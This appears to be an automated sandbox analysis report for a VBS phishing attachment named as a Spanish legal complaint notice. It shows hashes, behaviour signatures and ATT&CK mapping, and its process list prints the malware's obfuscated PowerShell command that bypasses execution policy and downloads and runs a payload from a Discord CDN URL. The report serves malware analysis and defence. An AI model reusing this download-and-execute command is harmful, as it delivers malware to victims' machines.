Overview

overview

10

Static

static

Requerimie...OA.vbs

windows7_x64

8

Requerimie...OA.vbs

windows10_x64

10

Analysis

  • max time kernel
    141s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-en
  • submitted
    13-09-2021 15:55

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Requerimiento fiscal aqui encontrara copia de la denuncia presentada en su contra NUNC SPOA.vbs

  • Size

    826B

  • MD5

    676950cc6c5b064bd1a75cdc8cbf4438

  • SHA1

    7deabbeb895a1839b61b1f5a4ddbabbc5ca566b6

  • SHA256

    6786d7be736d7131db9aae8c1f51a2f2a86f506cebda18af9cbb8d54e51c7eb3

  • SHA512

    8a30e71961e19c033e9bb03f18f891ba4f40fb44d18f55539823f876ee38790ebd21591558e01838dc33f6f4fba405e888b5d14ce2c75104f0782e893d8f45f0

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Requerimiento fiscal aqui encontrara copia de la denuncia presentada en su contra NUNC SPOA.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://cdn.discordapp.com/attachments/878366592180813876/884445633640034374/jai06.txt');$results
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1880

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/736-53-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1880-54-0x0000000000000000-mapping.dmp
    Download
  • memory/1880-56-0x000007FEF3490000-0x000007FEF3FED000-memory.dmp
    Filesize

    11.4MB

    Download
  • memory/1880-57-0x0000000002700000-0x0000000002702000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1880-59-0x0000000002704000-0x0000000002707000-memory.dmp
    Filesize

    12KB

    Download
  • memory/1880-58-0x0000000002702000-0x0000000002704000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1880-60-0x000000001B740000-0x000000001BA3F000-memory.dmp
    Filesize

    3.0MB

    Download
  • memory/1880-61-0x000000000270B000-0x000000000272A000-memory.dmp
    Filesize

    124KB

    Download